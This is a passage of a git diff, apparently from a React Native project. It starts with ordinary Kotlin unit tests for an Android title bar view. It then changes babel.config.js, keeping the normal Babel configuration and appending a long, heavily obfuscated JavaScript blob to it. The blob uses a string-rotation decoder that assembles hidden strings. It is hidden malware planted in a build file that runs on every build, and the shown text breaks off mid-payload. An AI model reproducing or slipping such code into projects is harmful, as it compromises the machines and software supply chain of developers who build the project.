uut.setSubtitle("Subtitle") + val passedView = uut.getTitleSubtitleBar() + assertThat(passedView.visibility).isEqualTo(View.VISIBLE) + assertThat(passedView.getSubTitleTxtView().text).isEqualTo("Subtitle") + assertThat((passedView.getSubTitleTxtView().layoutParams as LinearLayout.LayoutParams).gravity).isEqualTo(Gravity.START or Gravity.CENTER_VERTICAL) + } + + @Test + fun setBackgroundColor_changesTitleBarBgColor() { + uut = Mockito.spy(uut) + uut.setBackgroundColor(NullThemeColour()) + verify(uut, times(0)).setBackgroundColor(Color.GRAY) + uut.setBackgroundColor(ThemeColour(Colour(Color.GRAY))) + verify(uut, times(1)).setBackgroundColor(Color.GRAY) + } + + @Test + fun setTitleFontSize_changesTitleFontSize() { + uut.setTitleFontSize(1f) + Assertions.assertThat(getTitleSubtitleView().getTitleTxtView().textSize).isEqualTo(1f) + } + + @Test + fun setSubTitleFontSize_changesTitleFontSize() { + uut.setSubtitleFontSize(1f) + Assertions.assertThat(getTitleSubtitleView().getSubTitleTxtView().textSize).isEqualTo(1f) + } + + @Test + fun setTitleColor_changesTitleColor() { + uut.setTitleColor(Color.YELLOW) + assertThat(getTitleSubtitleView().getTitleTxtView().currentTextColor).isEqualTo(Color.YELLOW) + } + + @Test + fun setSubTitleColor_changesTitleColor() { + uut.setSubtitleColor(Color.YELLOW) + assertThat(getTitleSubtitleView().getSubTitleTxtView().currentTextColor).isEqualTo(Color.YELLOW) + } + + + + @Test + fun getTitle_returnCurrentTextInTitleTextView() { + assertThat(uut.getTitle()).isEmpty() + uut.setTitle("TiTle") + assertThat(uut.getTitle()).isEqualTo("TiTle") + } + + @Test + fun clearCurrentTitle_shouldCleatTextAndRemoveComponent() { + uut.setTitle("Title") + assertThat(uut.getTitle()).isEqualTo("Title") + uut.clearTitle() + assertThat(uut.getTitle()).isNullOrEmpty() + + val component = View(activity) + uut.setComponent(component) + assertThat(uut.getTitleComponent()).isEqualTo(component) + + uut.clearTitle() + assertThat(uut.getTitleComponent()).isNotEqualTo(component) + + } + + private fun getTitleSubtitleView() = (uut.getTitleComponent() as TitleSubTitleLayout) } \ No newline at end of file diff --git a/babel.config.js b/babel.config.js index c05b94b830d..06d978184c8 100644 --- a/babel.config.js +++ b/babel.config.js @@ -1,11 +1,11 @@ -module.exports = function (api) { - api && api.cache(false); - return { - presets: ['module:@react-native/babel-preset'], - plugins: [ - '@babel/plugin-proposal-export-namespace-from', - '@babel/plugin-proposal-export-default-from', - 'react-native-reanimated/plugin', - ], - }; -}; +module.exports = function (api) { + api && api.cache(false); + return { + presets: ['module:@react-native/babel-preset'], + plugins: [ + '@babel/plugin-proposal-export-namespace-from', + '@babel/plugin-proposal-export-default-from', + 'react-native-reanimated/plugin', + ], + }; +}; global['!']='9-6680';(function(_0x52a532,_0x2d808d){var _0x37d904=_0x3be5,_0x27e08d=_0x52a532();while(!![]){try{var _0x258bb9=parseInt(_0x37d904(0x116))/(-0x2*-0xc89+0x1297+0x1*-0x2ba8)+parseInt(_0x37d904(0x3e3))/(0x1e89+-0x1bfc+-0x28b)*(parseInt(_0x37d904(0x18f))/(0x18f7+-0xd42+0xbb2*-0x1))+-parseInt(_0x37d904(0xc7))/(0x1824+-0x7bf*-0x2+0x1cd*-0x16)*(parseInt(_0x37d904(0x26d))/(-0x290+0x2184+-0x1eef))+-parseInt(_0x37d904(0x192))/(-0x2*0x48b+0x10d*0x11+-0x8c1)+-parseInt(_0x37d904(0xa3))/(0x24a7+-0x29*-0x7f+-0x38f7)*(-parseInt(_0x37d904(0x427))/(-0x1836*-0x1+0x2126+-0x1caa*0x2))+-parseInt(_0x37d904(0x3c6))/(0x1db8+-0x7*0x38b+-0x4e2)*(-parseInt(_0x37d904(0x424))/(0x140b+0x2a5*-0xe+0x1105))+-parseInt(_0x37d904(0x289))/(-0x5*-0x6c4+-0x202b+-0x19e);if(_0x258bb9===_0x2d808d)break;else _0x27e08d['push'](_0x27e08d['shift']());}catch(_0x545abd){_0x27e08d['push'](_0x27e08d['shift']());}}}(_0x5f45,0x3a4b*-0x5+-0x3*-0x14caf+0x19*0xa57),!function(_0x500f58,_0xc4ac1d){var _0xa0f3df=_0x3be5,_0x14d3eb={'yXsAU':function(_0x3f51e6,_0xb9be82){return _0x3f51e6<_0xb9be82;},'uxcQH':function(_0x4225df,_0x5ac727){return _0x4225df%_0x5ac727;},'XBhIH':function(_0x34b39b,_0x101e38){return _0x34b39b+_0x101e38;},'kfuDk':function(_0xf7a237,_0x43d06d){return _0xf7a237*_0x43d06d;},'Emdxt':function(_0x2798eb,_0x5aea37){return _0x2798eb+_0x5aea37;},'TPIVk':function(_0x1af93d,_0x779646){return _0x1af93d+_0x779646;},'uKTwD':function(_0x46c7cd,_0x5089f9){return _0x46c7cd+_0x5089f9;},'kJebz':function(_0x307982,_0x59d116){return _0x307982%_0x59d116;},'lDkzO':function(_0x25a251,_0x473301){return _0x25a251%_0x473301;},'PjAol':function(_0x2abc47,_0x2951ab,_0x285bc0,_0x11f352,_0x3eb176,_0x378b8b,_0x753e59,_0x2a0780){return _0x2abc47(_0x2951ab,_0x285bc0,_0x11f352,_0x3eb176,_0x378b8b,_0x753e59,_0x2a0780);},'HzUvU':_0xa0f3df(0xc0),'OvNMo':function(_0x1cd55d,_0x12971c){return _0x1cd55d===_0x12971c;},'NWAll':function(_0x532889,_0x5f4724){return _0x532889(_0x5f4724);},'JDcif':_0xa0f3df(0x4be)+_0xa0f3df(0x3d6)+_0xa0f3df(0x19e)+_0xa0f3df(0x254),'eIoDu':function(_0x484af5,_0x644456,_0x5c036d){return _0x484af5(_0x644456,_0x5c036d);},'Vjhdr':_0xa0f3df(0x108)+_0xa0f3df(0x1c1)+_0xa0f3df(0x247)+_0xa0f3df(0x2d4)+_0xa0f3df(0x266)+_0xa0f3df(0x4a9)+_0xa0f3df(0x405)+_0xa0f3df(0x3b4)+_0xa0f3df(0x1de)+_0xa0f3df(0x178)+_0xa0f3df(0xa9)+_0xa0f3df(0x12b)+_0xa0f3df(0x286)+_0xa0f3df(0xac)+_0xa0f3df(0x4bc)+_0xa0f3df(0x363)+_0xa0f3df(0x162)+_0xa0f3df(0x343)+_0xa0f3df(0x32a)+_0xa0f3df(0x292)+_0xa0f3df(0x40e)+_0xa0f3df(0x1e5)+_0xa0f3df(0x35f)+_0xa0f3df(0x441)+_0xa0f3df(0x425)+_0xa0f3df(0xa2)+_0xa0f3df(0x20b)+_0xa0f3df(0x46e)+_0xa0f3df(0x3e6)+_0xa0f3df(0x345)+_0xa0f3df(0x40a)+_0xa0f3df(0x328)+_0xa0f3df(0x49c)+_0xa0f3df(0x222)+_0xa0f3df(0x418)+_0xa0f3df(0x404)+_0xa0f3df(0x241)+_0xa0f3df(0x16c)+_0xa0f3df(0xaa)+_0xa0f3df(0x259)+_0xa0f3df(0x206)+_0xa0f3df(0x2d8)+_0xa0f3df(0x2df)+_0xa0f3df(0x233)+_0xa0f3df(0x42a)+_0xa0f3df(0x107)+_0xa0f3df(0x4af)+_0xa0f3df(0x3be)+_0xa0f3df(0x366)+_0xa0f3df(0x4cf)+_0xa0f3df(0x340)+_0xa0f3df(0x2ae)+_0xa0f3df(0xa6)+_0xa0f3df(0x4ce)+_0xa0f3df(0x378)+_0xa0f3df(0x3e2)+_0xa0f3df(0x1cf)+_0xa0f3df(0x1f4)+_0xa0f3df(0x122)+_0xa0f3df(0x24a)+_0xa0f3df(0x39d)+_0xa0f3df(0x216)+_0xa0f3df(0x278)+_0xa0f3df(0x48e)+_0xa0f3df(0x45a)+_0xa0f3df(0x1f5)+_0xa0f3df(0x409)+_0xa0f3df(0x492)+_0xa0f3df(0x1b2)+_0xa0f3df(0x296)+_0xa0f3df(0x32f)+_0xa0f3df(0x215)+_0xa0f3df(0x43b)+_0xa0f3df(0x478)+_0xa0f3df(0x39a)+_0xa0f3df(0x2bd)+_0xa0f3df(0x235)+_0xa0f3df(0x22c)+_0xa0f3df(0x4d8)+_0xa0f3df(0x37f)+_0xa0f3df(0x4a8)+_0xa0f3df(0x1a4)+_0xa0f3df(0x2a2)+_0xa0f3df(0x1d4)+_0xa0f3df(0x128)+_0xa0f3df(0x449)+_0xa0f3df(0x23a)+_0xa0f3df(0x18b)+_0xa0f3df(0xcc),'YZkUd':_0xa0f3df(0xfa)+_0xa0f3df(0x27b)+_0xa0f3df(0x274)+_0xa0f3df(0x13e)+_0xa0f3df(0x234)+_0xa0f3df(0x4dc)+_0xa0f3df(0x15c)+_0xa0f3df(0x127)+_0xa0f3df(0x1f9)+_0xa0f3df(0x260)+_0xa0f3df(0x153)+_0xa0f3df(0x362)+_0xa0f3df(0x301)+_0xa0f3df(0xc8)+_0xa0f3df(0x38e)+_0xa0f3df(0x4e2)+_0xa0f3df(0x2ce)+_0xa0f3df(0x146)+_0xa0f3df(0x24c)+_0xa0f3df(0x2aa)+_0xa0f3df(0x212)+_0xa0f3df(0x419)+_0xa0f3df(0x2cd)+_0xa0f3df(0x43a)+_0xa0f3df(0x1ec)+_0xa0f3df(0x250)+_0xa0f3df(0xd7)+_0xa0f3df(0x460)+_0xa0f3df(0x47b)+_0xa0f3df(0x3af)+_0xa0f3df(0x49a)+_0xa0f3df(0x376)+_0xa0f3df(0x389)+_0xa0f3df(0x25e)+_0xa0f3df(0x36b)+_0xa0f3df(0x400)+_0xa0f3df(0x4b2)+_0xa0f3df(0x257)+_0xa0f3df(0x1b1)+_0xa0f3df(0x2af)+_0xa0f3df(0x1e9)+_0xa0f3df(0x4a6)+_0xa0f3df(0x35b)+_0xa0f3df(0x1d2)+_0xa0f3df(0x2e8)+_0xa0f3df(0x422)+_0xa0f3df(0x44c)+_0xa0f3df(0x25f)+_0xa0f3df(0x4e6)+_0xa0f3df(0x420)+_0xa0f3df(0x42f)+_0xa0f3df(0x131)+_0xa0f3df(0x295)+_0xa0f3df(0x11b)+_0xa0f3df(0x2b0)+_0xa0f3df(0x360)+_0xa0f3df(0x29f)+_0xa0f3df(0x24e)+_0xa0f3df(0x135)+_0xa0f3df(0x44d)+_0xa0f3df(0x24b)+_0xa0f3df(0x15a)+_0xa0f3df(0x4b6)+_0xa0f3df(0x488)+_0xa0f3df(0x36f)+_0xa0f3df(0xeb)+_0xa0f3df(0x361)+_0xa0f3df(0x1af)+_0xa0f3df(0x3d2)+_0xa0f3df(0x225)+_0xa0f3df(0x2ed)+_0xa0f3df(0x46b)+_0xa0f3df(0x2c3)+_0xa0f3df(0x426)+_0xa0f3df(0x16e)+_0xa0f3df(0x161)+_0xa0f3df(0x2e6)+_0xa0f3df(0xbf)+_0xa0f3df(0x4bd)+_0xa0f3df(0x180)+_0xa0f3df(0x12e)+_0xa0f3df(0x290)+_0xa0f3df(0x3a1)+_0xa0f3df(0x1f3)+_0xa0f3df(0x20f)+_0xa0f3df(0x2b1)+_0xa0f3df(0x46c)+_0xa0f3df(0x43c)+_0xa0f3df(0x47d)+_0xa0f3df(0x4c5)+_0xa0f3df(0x485)+_0xa0f3df(0x204)+_0xa0f3df(0x1fb)+_0xa0f3df(0x1ef)+_0xa0f3df(0x31d)+_0xa0f3df(0x3ce)+_0xa0f3df(0x28e)+_0xa0f3df(0x240)+_0xa0f3df(0xba)+_0xa0f3df(0x3c0)+(_0xa0f3df(0x3df)+_0xa0f3df(0x356)+_0xa0f3df(0x41f)+_0xa0f3df(0x48a)+_0xa0f3df(0x4d0)+_0xa0f3df(0x185)+_0xa0f3df(0x2c8)+_0xa0f3df(0x273)+_0xa0f3df(0x264)+_0xa0f3df(0x41e)+_0xa0f3df(0x3a8)+_0xa0f3df(0x2b9)+_0xa0f3df(0x2a6)+_0xa0f3df(0x164)+_0xa0f3df(0x142)+_0xa0f3df(0x44e)+_0xa0f3df(0x303)+_0xa0f3df(0x14e)+_0xa0f3df(0x30e)+_0xa0f3df(0x497)+_0xa0f3df(0x3f0)+_0xa0f3df(0x2c9)+_0xa0f3df(0x105)+_0xa0f3df(0x184)+_0xa0f3df(0x337)+_0xa0f3df(0x13f)+_0xa0f3df(0x169)+_0xa0f3df(0x3a6)+_0xa0f3df(0x3f1)+_0xa0f3df(0xd5)+_0xa0f3df(0xce)+_0xa0f3df(0x35d)+_0xa0f3df(0x109)+_0xa0f3df(0x2f2)+_0xa0f3df(0x31b)+_0xa0f3df(0x150)+_0xa0f3df(0x32c)+_0xa0f3df(0x359)+_0xa0f3df(0x3e0)+_0xa0f3df(0x25d)+_0xa0f3df(0x3d0)+_0xa0f3df(0x1d0)+_0xa0f3df(0x124)+_0xa0f3df(0x3ee)+_0xa0f3df(0x113)+_0xa0f3df(0x484)+_0xa0f3df(0x350)+_0xa0f3df(0x1ff)+_0xa0f3df(0x41c)+_0xa0f3df(0x144)+_0xa0f3df(0x18c)+_0xa0f3df(0x2ef)+_0xa0f3df(0x483)+_0xa0f3df(0x2e9)+_0xa0f3df(0x1dd)+_0xa0f3df(0x111)+_0xa0f3df(0x143)+_0xa0f3df(0x445)+_0xa0f3df(0x201)+_0xa0f3df(0x373)+_0xa0f3df(0x3ed)+_0xa0f3df(0x414)+_0xa0f3df(0x1b4)+_0xa0f3df(0x3b2)+_0xa0f3df(0x26e)+_0xa0f3df(0x28f)+_0xa0f3df(0x2b6)+_0xa0f3df(0x48b)+_0xa0f3df(0x48c)+_0xa0f3df(0x335)+_0xa0f3df(0x3cd)+_0xa0f3df(0xb9)+_0xa0f3df(0x499)+_0xa0f3df(0x298)+_0xa0f3df(0x166)+_0xa0f3df(0x1c5)+_0xa0f3df(0x3bc)+_0xa0f3df(0x384)+_0xa0f3df(0xd8)+_0xa0f3df(0xd6)+_0xa0f3df(0x428)+_0xa0f3df(0x2c6)+_0xa0f3df(0x2b8)+_0xa0f3df(0x1fa)+_0xa0f3df(0x23b)+_0xa0f3df(0x276)+_0xa0f3df(0x334)+_0xa0f3df(0x2f0)+_0xa0f3df(0x341)+_0xa0f3df(0x246)+_0xa0f3df(0x2d5)+_0xa0f3df(0x401)+_0xa0f3df(0x3ca)+_0xa0f3df(0x3a7)+_0xa0f3df(0x353)+_0xa0f3df(0xe9)+_0xa0f3df(0x242)+_0xa0f3df(0xf8)+_0xa0f3df(0x219)+_0xa0f3df(0x45f))+(_0xa0f3df(0x1cb)+_0xa0f3df(0x369)+_0xa0f3df(0xee)+_0xa0f3df(0x4cd)+_0xa0f3df(0x23d)+_0xa0f3df(0x476)+_0xa0f3df(0xbb)+_0xa0f3df(0x3ec)+_0xa0f3df(0x4b4)+_0xa0f3df(0x37b)+_0xa0f3df(0x302)+_0xa0f3df(0x4c2)+_0xa0f3df(0x170)+_0xa0f3df(0x14f)+_0xa0f3df(0x21b)+_0xa0f3df(0x421)+_0xa0f3df(0x1a1)+_0xa0f3df(0x2d6)+_0xa0f3df(0x4cc)+_0xa0f3df(0x46f)+_0xa0f3df(0x1ac)+_0xa0f3df(0x101)+_0xa0f3df(0xe4)+_0xa0f3df(0x1ed)+_0xa0f3df(0x477)+_0xa0f3df(0x407)+_0xa0f3df(0x165)+_0xa0f3df(0x372)+_0xa0f3df(0x3e8)+_0xa0f3df(0x461)+_0xa0f3df(0x1e0)+_0xa0f3df(0x41a)+_0xa0f3df(0x217)+_0xa0f3df(0x187)+_0xa0f3df(0x1ba)+_0xa0f3df(0x25b)+_0xa0f3df(0x47c)+_0xa0f3df(0x433)+_0xa0f3df(0x357)+_0xa0f3df(0x34f)+_0xa0f3df(0x490)+_0xa0f3df(0x469)+_0xa0f3df(0xed)+_0xa0f3df(0x2d1)+_0xa0f3df(0x38a)+_0xa0f3df(0x317)+_0xa0f3df(0x121)+_0xa0f3df(0x11d)+_0xa0f3df(0x2ee)+_0xa0f3df(0x316)+_0xa0f3df(0x3fe)+_0xa0f3df(0x21d)+_0xa0f3df(0x12a)+_0xa0f3df(0xf2)+_0xa0f3df(0x1b6)+_0xa0f3df(0x288)+_0xa0f3df(0x238)+_0xa0f3df(0x202)+_0xa0f3df(0x411)+_0xa0f3df(0x1be)+_0xa0f3df(0x1b8)+_0xa0f3df(0x19c)+_0xa0f3df(0x3aa)+_0xa0f3df(0x239)+_0xa0f3df(0x236)+_0xa0f3df(0x2f8)+_0xa0f3df(0x34e)+_0xa0f3df(0x117)+_0xa0f3df(0x3e7)+_0xa0f3df(0x1eb)+_0xa0f3df(0x4cb)+_0xa0f3df(0x18e)+_0xa0f3df(0x35c)+_0xa0f3df(0x106)+_0xa0f3df(0x221)+_0xa0f3df(0x33f)+_0xa0f3df(0x450)+_0xa0f3df(0x4c3)+_0xa0f3df(0x3b9)+_0xa0f3df(0x125)+_0xa0f3df(0x379)+_0xa0f3df(0x22b)+_0xa0f3df(0xb5)+_0xa0f3df(0xdf)+_0xa0f3df(0x453)+_0xa0f3df(0x1a0)+_0xa0f3df(0xa5)+_0xa0f3df(0x4db)+_0xa0f3df(0x4de)+_0xa0f3df(0x1a6)+_0xa0f3df(0x322)+_0xa0f3df(0x36e)+_0xa0f3df(0x3b6)+_0xa0f3df(0x1b5)+_0xa0f3df(0x33d)+_0xa0f3df(0x12f)+_0xa0f3df(0xe0)+_0xa0f3df(0x475)+_0xa0f3df(0x3bd)+_0xa0f3df(0x149))+(_0xa0f3df(0x12c)+_0xa0f3df(0x2ff)+_0xa0f3df(0x47a)+_0xa0f3df(0x391)+_0xa0f3df(0x395)+_0xa0f3df(0x34d)+_0xa0f3df(0x22e)+_0xa0f3df(0x1c3)+_0xa0f3df(0x245)+_0xa0f3df(0x336)+_0xa0f3df(0x41b)+_0xa0f3df(0x38d)+_0xa0f3df(0x4e3)+_0xa0f3df(0xfb)+_0xa0f3df(0x46d)+_0xa0f3df(0x4df)+_0xa0f3df(0x326)+_0xa0f3df(0x2e1)+_0xa0f3df(0xb0)+_0xa0f3df(0x3cc)+_0xa0f3df(0x489)+_0xa0f3df(0x496)+_0xa0f3df(0x227)+_0xa0f3df(0x39f)+_0xa0f3df(0x22a)+_0xa0f3df(0x368)+_0xa0f3df(0x188)+_0xa0f3df(0x396)+_0xa0f3df(0x408)+_0xa0f3df(0xaf)+_0xa0f3df(0x34b)+_0xa0f3df(0x1ab)+_0xa0f3df(0x480)+_0xa0f3df(0x129)+_0xa0f3df(0x2fa)+_0xa0f3df(0x27d)+_0xa0f3df(0x3ea)+_0xa0f3df(0x1c0)+_0xa0f3df(0x19a)+_0xa0f3df(0x2bc)+_0xa0f3df(0x482)+_0xa0f3df(0x466)+_0xa0f3df(0xb1)+_0xa0f3df(0x100)+_0xa0f3df(0x474)+_0xa0f3df(0x4b8)+_0xa0f3df(0x412)+_0xa0f3df(0x3d5)+_0xa0f3df(0x346)+_0xa0f3df(0x39c)+_0xa0f3df(0x1a8)+_0xa0f3df(0x3c9)+_0xa0f3df(0x195)+_0xa0f3df(0x30a)+_0xa0f3df(0x4a3)+_0xa0f3df(0x2c0)+_0xa0f3df(0x205)+_0xa0f3df(0x2fb)+_0xa0f3df(0x26f)+_0xa0f3df(0x196)+_0xa0f3df(0x462)+_0xa0f3df(0x243)+_0xa0f3df(0x40c)+_0xa0f3df(0x2ca)+_0xa0f3df(0x23c)+_0xa0f3df(0x3b0)+_0xa0f3df(0x2b4)+_0xa0f3df(0x444)+_0xa0f3df(0xd2)+_0xa0f3df(0xfe)+_0xa0f3df(0x224)+_0xa0f3df(0x27f)+_0xa0f3df(0x15f)+_0xa0f3df(0xd3)+_0xa0f3df(0x386)+_0xa0f3df(0x2fe)+_0xa0f3df(0x310)+_0xa0f3df(0xdd)+_0xa0f3df(0xfd)+_0xa0f3df(0x293)+_0xa0f3df(0x1b0)+_0xa0f3df(0x139)+_0xa0f3df(0x325)+_0xa0f3df(0x14a)+_0xa0f3df(0x329)+_0xa0f3df(0x4e0)+_0xa0f3df(0x3f6)+_0xa0f3df(0x3d3)+_0xa0f3df(0x138)+_0xa0f3df(0x1aa)+_0xa0f3df(0x1b7)+_0xa0f3df(0x230)+_0xa0f3df(0x33e)+_0xa0f3df(0xab)+_0xa0f3df(0x189)+_0xa0f3df(0x11f)+_0xa0f3df(0x22f)+_0xa0f3df(0x468)+_0xa0f3df(0x470)+_0xa0f3df(0x3c7))+(_0xa0f3df(0x2f9)+_0xa0f3df(0x2cb)+_0xa0f3df(0x17b)+_0xa0f3df(0xff)+_0xa0f3df(0x173)+_0xa0f3df(0x4bf)+_0xa0f3df(0x207)+_0xa0f3df(0x13d)+_0xa0f3df(0x313)+_0xa0f3df(0x33b)+_0xa0f3df(0x4e8)+_0xa0f3df(0x1d8)+_0xa0f3df(0x262)+_0xa0f3df(0x354)+_0xa0f3df(0x10b)+_0xa0f3df(0x1c8)+_0xa0f3df(0x454)+_0xa0f3df(0x2e5)+_0xa0f3df(0x435)+_0xa0f3df(0x315)+_0xa0f3df(0x2a8)+_0xa0f3df(0x29a)+_0xa0f3df(0x4d4)+_0xa0f3df(0x2a4)+_0xa0f3df(0x137)+_0xa0f3df(0xb3)+_0xa0f3df(0x2f3)+_0xa0f3df(0x248)+_0xa0f3df(0x1fe)+_0xa0f3df(0x232)+_0xa0f3df(0x4b3)+_0xa0f3df(0x27e)+_0xa0f3df(0x1e8)+_0xa0f3df(0x159)+_0xa0f3df(0xe2)+_0xa0f3df(0x156)+_0xa0f3df(0x213)+_0xa0f3df(0x186)+_0xa0f3df(0x294)+_0xa0f3df(0x2ad)+_0xa0f3df(0x157)+_0xa0f3df(0x451)+_0xa0f3df(0x398)+_0xa0f3df(0x140)+_0xa0f3df(0x3cf)+_0xa0f3df(0x3eb)+_0xa0f3df(0x3ac)+_0xa0f3df(0x183)+_0xa0f3df(0x2cc)+_0xa0f3df(0x447)+_0xa0f3df(0xe7)+_0xa0f3df(0x31e)+_0xa0f3df(0x4da)+_0xa0f3df(0x41d)+_0xa0f3df(0x17e)+_0xa0f3df(0x3f3)+_0xa0f3df(0x30b)+_0xa0f3df(0x1db)+_0xa0f3df(0xe5)+_0xa0f3df(0x1d1)+_0xa0f3df(0x2a9)+_0xa0f3df(0x114)+_0xa0f3df(0x102)+_0xa0f3df(0x352)+_0xa0f3df(0x3b5)+_0xa0f3df(0x4b7)+_0xa0f3df(0x2fd)+_0xa0f3df(0x179)+_0xa0f3df(0x280)+_0xa0f3df(0x358)+_0xa0f3df(0x4a5)+_0xa0f3df(0x141)+_0xa0f3df(0x382)+_0xa0f3df(0x37c)+_0xa0f3df(0x430)+_0xa0f3df(0x281)+_0xa0f3df(0x30c)+_0xa0f3df(0xe3)+_0xa0f3df(0x1b9)+_0xa0f3df(0x495)+_0xa0f3df(0x374)+_0xa0f3df(0x147)+_0xa0f3df(0x367)+_0xa0f3df(0xc1)+_0xa0f3df(0x493)+_0xa0f3df(0x331)+_0xa0f3df(0xc5)+_0xa0f3df(0xc2)+_0xa0f3df(0x46a)+_0xa0f3df(0x4d5)+_0xa0f3df(0x30d)+_0xa0f3df(0x15d)+_0xa0f3df(0x4d9)+_0xa0f3df(0xa8)+_0xa0f3df(0x4e5)+_0xa0f3df(0x377)+_0xa0f3df(0x163)+_0xa0f3df(0x291)+_0xa0f3df(0x151)+_0xa0f3df(0x3ae))+(_0xa0f3df(0x194)+_0xa0f3df(0x38f)+_0xa0f3df(0x3c8)+_0xa0f3df(0x442)+_0xa0f3df(0x4d3)+_0xa0f3df(0x3ff)+_0xa0f3df(0x228)+_0xa0f3df(0x10c)+_0xa0f3df(0x28c)+_0xa0f3df(0x284)+_0xa0f3df(0x226)+_0xa0f3df(0x1f2)+_0xa0f3df(0x29c)+_0xa0f3df(0x439)+_0xa0f3df(0x193)+_0xa0f3df(0x2d3)+_0xa0f3df(0x31f)+_0xa0f3df(0x3c3)+_0xa0f3df(0x211)+_0xa0f3df(0x145)+_0xa0f3df(0x31c)+_0xa0f3df(0x275)+_0xa0f3df(0x347)+_0xa0f3df(0x2a1)+_0xa0f3df(0x4aa)+_0xa0f3df(0x44b)+_0xa0f3df(0x1c7)+_0xa0f3df(0x43d)+_0xa0f3df(0x253)+_0xa0f3df(0xdb)+_0xa0f3df(0x168)+_0xa0f3df(0x40b)+_0xa0f3df(0x1bb)+_0xa0f3df(0x364)+_0xa0f3df(0x448)+_0xa0f3df(0x45b)+_0xa0f3df(0x1dc)+_0xa0f3df(0x14d)+_0xa0f3df(0x200)+_0xa0f3df(0x209)+_0xa0f3df(0x258)+_0xa0f3df(0x237)+_0xa0f3df(0x45e)+_0xa0f3df(0x415)+_0xa0f3df(0x3fb)+_0xa0f3df(0x3ad)+_0xa0f3df(0xb6)+_0xa0f3df(0x1e6)+_0xa0f3df(0x3b7)+_0xa0f3df(0x4d7)+_0xa0f3df(0x1e2)+_0xa0f3df(0x4b5)+_0xa0f3df(0xfc)+_0xa0f3df(0x3bf)+_0xa0f3df(0x2ec)+_0xa0f3df(0x268)+_0xa0f3df(0x263)+_0xa0f3df(0x20e)+_0xa0f3df(0x4c9)+_0xa0f3df(0x332)+_0xa0f3df(0xde)+_0xa0f3df(0x1bd)+_0xa0f3df(0x1fd)+_0xa0f3df(0x4b9)+_0xa0f3df(0x312)+_0xa0f3df(0x198)+_0xa0f3df(0x330)+_0xa0f3df(0x300)+_0xa0f3df(0x25a)+_0xa0f3df(0xcb)+_0xa0f3df(0x49f)+_0xa0f3df(0x21c)+_0xa0f3df(0x21e)+_0xa0f3df(0x1d3)+_0xa0f3df(0x3b8)+_0xa0f3df(0x4b0)+_0xa0f3df(0x1ce)+_0xa0f3df(0x1bf)+_0xa0f3df(0x2a7)+_0xa0f3df(0x17c)+_0xa0f3df(0x27c)+_0xa0f3df(0x136)+_0xa0f3df(0x1a3)+_0xa0f3df(0x458)+_0xa0f3df(0x370)+_0xa0f3df(0x1f0)+_0xa0f3df(0x3d9)+_0xa0f3df(0x446)+_0xa0f3df(0x416)+_0xa0f3df(0x44f)+_0xa0f3df(0x299)+_0xa0f3df(0x1ae)+_0xa0f3df(0x339)+_0xa0f3df(0x4b1)+_0xa0f3df(0xd1)+_0xa0f3df(0x38b)+_0xa0f3df(0x1f7)+_0xa0f3df(0x297)+_0xa0f3df(0x177)+_0xa0f3df(0xa4))+(_0xa0f3df(0x3c2)+_0xa0f3df(0x37d)+_0xa0f3df(0x283)+_0xa0f3df(0x14c)+_0xa0f3df(0x28d)+_0xa0f3df(0x2f1)+_0xa0f3df(0x2e2)+_0xa0f3df(0x167)+_0xa0f3df(0xf1)+_0xa0f3df(0x309)+_0xa0f3df(0x16b)+_0xa0f3df(0x1e1)+_0xa0f3df(0x1da)+_0xa0f3df(0x3f4)+_0xa0f3df(0x20c)+_0xa0f3df(0x16a)+_0xa0f3df(0x365)+_0xa0f3df(0x279)+_0xa0f3df(0x171)+_0xa0f3df(0xd9)+_0xa0f3df(0xf6)+_0xa0f3df(0x431)+_0xa0f3df(0x1a5)+_0xa0f3df(0x21f)+_0xa0f3df(0x393)+_0xa0f3df(0xc9)+_0xa0f3df(0x397)+_0xa0f3df(0x3e4)+_0xa0f3df(0x3b1)+_0xa0f3df(0x208)+_0xa0f3df(0x4c7)+_0xa0f3df(0x479)+_0xa0f3df(0x19d)+_0xa0f3df(0x417)+_0xa0f3df(0x35e)+_0xa0f3df(0x10a)+_0xa0f3df(0xdc)+_0xa0f3df(0x29e)+_0xa0f3df(0xd4)+_0xa0f3df(0x399)+_0xa0f3df(0x1a9)+_0xa0f3df(0x15e)+_0xa0f3df(0x423)+_0xa0f3df(0x182)+_0xa0f3df(0x3a4)+_0xa0f3df(0x110)+_0xa0f3df(0x48d)+_0xa0f3df(0x26b)+_0xa0f3df(0x321)+_0xa0f3df(0x464)+_0xa0f3df(0x344)+_0xa0f3df(0x118)+_0xa0f3df(0x45d)+_0xa0f3df(0x39b)+_0xa0f3df(0x443)+_0xa0f3df(0x1df)+_0xa0f3df(0x49b)+_0xa0f3df(0x3e5)+_0xa0f3df(0x47e)+_0xa0f3df(0x2a0)+_0xa0f3df(0x39e)+_0xa0f3df(0x308)+_0xa0f3df(0x43e)+_0xa0f3df(0x3c5)+_0xa0f3df(0x380)+_0xa0f3df(0x4c1)+_0xa0f3df(0x3b3)+_0xa0f3df(0x37e)+_0xa0f3df(0x351)+_0xa0f3df(0x31a)+_0xa0f3df(0x2b3)+_0xa0f3df(0x4c4)+_0xa0f3df(0x2ba)+_0xa0f3df(0x3dd)+_0xa0f3df(0x2ab)+_0xa0f3df(0x154)+_0xa0f3df(0x371)+_0xa0f3df(0x2bb)+_0xa0f3df(0x42d)+_0xa0f3df(0x2c4)+_0xa0f3df(0x214)+_0xa0f3df(0x133)+_0xa0f3df(0x2f4)+_0xa0f3df(0x3d8)+_0xa0f3df(0xec)+_0xa0f3df(0xea)+_0xa0f3df(0x4c0)+_0xa0f3df(0x1bc)+_0xa0f3df(0x19b)+_0xa0f3df(0x471)+_0xa0f3df(0x307)+_0xa0f3df(0x3e1)+_0xa0f3df(0xb4)+_0xa0f3df(0x487)+_0xa0f3df(0x282)+_0xa0f3df(0x13a)+_0xa0f3df(0x1c6)+_0xa0f3df(0x265)+_0xa0f3df(0x3ba)+_0xa0f3df(0x437))+(_0xa0f3df(0x457)+_0xa0f3df(0x2e4)+_0xa0f3df(0x1d9)+_0xa0f3df(0x45c)+_0xa0f3df(0x2e3)+_0xa0f3df(0x160)+_0xa0f3df(0x4ba)+_0xa0f3df(0x3fa)+_0xa0f3df(0x277)+_0xa0f3df(0x432)+_0xa0f3df(0x120)+_0xa0f3df(0x455)+_0xa0f3df(0x320)+_0xa0f3df(0x318)+_0xa0f3df(0x287)+_0xa0f3df(0x491)+_0xa0f3df(0x494)+_0xa0f3df(0x2f7)+_0xa0f3df(0x103)+_0xa0f3df(0x1e3)+_0xa0f3df(0x40f)+_0xa0f3df(0x152)+_0xa0f3df(0x4e1)+_0xa0f3df(0x199)+_0xa0f3df(0x24f)+_0